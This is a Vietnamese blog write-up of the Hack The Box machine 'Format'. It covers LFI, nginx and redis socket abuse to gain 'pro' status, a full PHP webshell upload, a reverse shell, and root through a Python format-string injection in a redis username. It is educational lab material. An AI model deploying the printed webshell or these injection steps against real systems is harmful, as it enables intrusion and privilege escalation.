Format

Enumeration

Zenmap:

Truy cập 2 website trên port 80 và 3000, tôi thấy chúng được redirect sang 2 domain: app.microblog.htb và microblog.htb:3000
Thêm domain vào file hosts.

app.microblog.htb

Đây dường như là 1 trang web tạo blog, .... (ha ha).
Sao giống điều gì đó nhỉ? Oh, mình cũng là người viết blog. (ha ha ha)
Tạo thử một user và một website:
Tôi muốn khóc bây giờ, website không cho tôi đặt tên dryu8. Hu hu.
Sau khi tạo xong website, tại đây tôi thấy có có trang sử website và xem website. Truy cập bào Edit Site
Tại đây tôi có thể chính sửa giao diện website của riêng mình. Nhưng chưa tìm thấy gì có thể khai thác được ở đây. Chuyển sang website thứ 2

microblog.htb:3000

Đây là 1 trang gitea. Kiểm tra source code. Tôi thấy ở đây tồn tại sourcode của trang chính và 1 trang có tên sunny Đây là website được tạo giống như website mà tôi vừa tạo. Đọc file index.php của sunny và index.php trong edit của sunny tôi thấy có đoạn code sau.

LFI

Nhận Thấy rằng param id là nơi có thể chèn được LFI. Thử sửa h1 tại website tôi vừa tạo và chặn bắt nó trong burp, chèn thử một khai thác LFI.

Exploit Misconfigurations

Tiếp tục Khai thác và đọc file /etc/nginx/sites-enabled/default. Tại đây có một cấu hình sai cho nginx (misconfigurations) misconfigurations
Quay trờ lại Gitea. Đọc source code trong file edit/index.php, tôi thấy:
Dường như tôi cần phải nâng cấp user của mình lên pro để có thể sử dụng được folder uploads. Chắc sau đó tôi cần upload file shell lên đây.
Từ cấu hình sai trong nginx tôi có thể ghi đè user dryu của tôi thành pro.
PS D:\thehackbox\Machines\Format> curl.exe -X "<command>" http://microblog.htb/static/unix:<local unix sockets>:<username>%20<key>%20true%20/dryu
<html>
<head><title>502 Bad Gateway</title></head>
<body>
<center><h1>502 Bad Gateway</h1></center>
<hr><center>nginx/1.18.0</center>
</body>
</html>
PS D:\thehackbox\Machines\Format>

Gaining access www-data

Bây giờ tôi đã có người dùng pro, việc tiếp theo có lẽ là upload file. Sử dụng lại cách đã làm với LFI. Nhưng id sẽ được chỏ vào file cần upload id=../uploads/<shell>.php
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
</html>
Tôi đã upload webshell thành công. Để thực thi được được web shell mở website sau:
Kiểm thực hiện một vài reverse shell và tôi đã có được shell:
PS D:\thehackbox\Machines\Format> ncat.exe -l 8888
www-data@format:~/microblog/dryu/uploads$ whoami
whoami
www-data
www-data@format:~/microblog/dryu/uploads$

Gaining access cooper

Để lấy cooper shell, sử dụng pspy hoặc truy cập redis để đọc key.

Privilege escalation

PS D:\thehackbox\Machines\Format> ssh cooper@microblog.htb
cooper@microblog.htb's password:
cooper@format:~$ ls
user.txt
cooper@format:~$ cat user.txt
********************************
cooper@format:~$ sudo -l
[sudo] password for cooper:
Matching Defaults entries for cooper on format:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User cooper may run the following commands on format:
    (root) /usr/bin/license
cooper@format:~$ cat /usr/bin/license
#!/usr/bin/python3

import base64
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.fernet import Fernet
import random
import string
from datetime import date
import redis
import argparse
import os
import sys

class License():
    def __init__(self):
        chars = string.ascii_letters + string.digits + string.punctuation
        self.license = ''.join(random.choice(chars) for i in range(40))
        self.created = date.today()

if os.geteuid() != 0:
    print("")
    print("Microblog license key manager can only be run as root")
    print("")
    sys.exit()

parser = argparse.ArgumentParser(description='Microblog license key manager')
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-p', '--provision', help='Provision license key for specified user', metavar='username')
group.add_argument('-d', '--deprovision', help='Deprovision license key for specified user', metavar='username')
group.add_argument('-c', '--check', help='Check if specified license key is valid', metavar='license_key')
args = parser.parse_args()

r = redis.Redis(unix_socket_path='/var/run/redis/redis.sock')

secret = [line.strip() for line in open("/root/license/secret")][0]
secret_encoded = secret.encode()
salt = b'microblogsalt123'
kdf = PBKDF2HMAC(algorithm=hashes.SHA256(),length=32,salt=salt,iterations=100000,backend=default_backend())
encryption_key = base64.urlsafe_b64encode(kdf.derive(secret_encoded))

f = Fernet(encryption_key)
l = License()

#provision
if(args.provision):
    user_profile = r.hgetall(args.provision)
    if not user_profile:
        print("")
        print("User does not exist. Please provide valid username.")
        print("")
        sys.exit()
    existing_keys = open("/root/license/keys", "r")
    all_keys = existing_keys.readlines()
    for user_key in all_keys:
        if(user_key.split(":")[0] == args.provision):
            print("")
            print("License key has already been provisioned for this user")
            print("")
            sys.exit()
    prefix = "microblog"
    username = r.hget(args.provision, "username").decode()
    firstlast = r.hget(args.provision, "first-name").decode() + r.hget(args.provision, "last-name").decode()
    license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
    print("")
    print("Plaintext license key:")
    print("------------------------------------------------------")
    print(license_key)
    print("")
    license_key_encoded = license_key.encode()
    license_key_encrypted = f.encrypt(license_key_encoded)
    print("Encrypted license key (distribute to customer):")
    print("------------------------------------------------------")
    print(license_key_encrypted.decode())
    print("")
    with open("/root/license/keys", "a") as license_keys_file:
        license_keys_file.write(args.provision + ":" + license_key_encrypted.decode() + "\n")

#deprovision
if(args.deprovision):
    print("")
    print("License key deprovisioning coming soon")
    print("")
    sys.exit()

#check
if(args.check):
    print("")
    try:
        license_key_decrypted = f.decrypt(args.check.encode())
        print("License key valid! Decrypted value:")
        print("------------------------------------------------------")
        print(license_key_decrypted.decode())
    except:
        print("License key invalid")
    print("")
cooper@format:~$
Toàn bộ source code file license có dòng:
license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
Chỉ riêng đòng này có format, trùng mới tên của máy này. Tôi có chút thắc mắc từ lúc đầu liệu cái tên có liên quan gì tới hộp này và nó ở đây, tìm kiếm: (python format string vulnerabilitiesPython format string vulnerabilities
Đọc source code tôi thấy có thể chèn code vào username trong redis:
cooper@format:~$ redis-cli -s /var/run/redis/redis.sock
redis /var/run/redis/redis.sock> keys *
1) "cooper.dooper"
2) "PHPREDIS_SESSION:rgav6qnrb4ee37mrqvk0cv5887"
3) "dryu"
4) "dryu:sites"
5) "cooper.dooper:sites"
redis /var/run/redis/redis.sock> hset dryu username {<class name>.__init__.__globals__[<variable name>]}
(integer) 0
redis /var/run/redis/redis.sock> exit
cooper@format:~$ sudo /usr/bin/license -p dryu

Plaintext license key:
------------------------------------------------------
microblogb'*******************'{!Y3s'B_U/-(qnc|)=G5)F=CDbY3?\Ptd]F_Yj&Idryudryu

Encrypted license key (distribute to customer):
------------------------------------------------------
gAAAAABkYPI*****************************************PWrQyeOPapkZik=

cooper@format:~$ su
Password:
root@format:/home/cooper# cat /root/root.txt
********************************
root@format:/home/cooper#



Dryu8

Dryu8 is just a newbie in pentesting and loves to drink beer. I will be happy if you can donate me with a beer.

54 Comments

Previous Post Next Post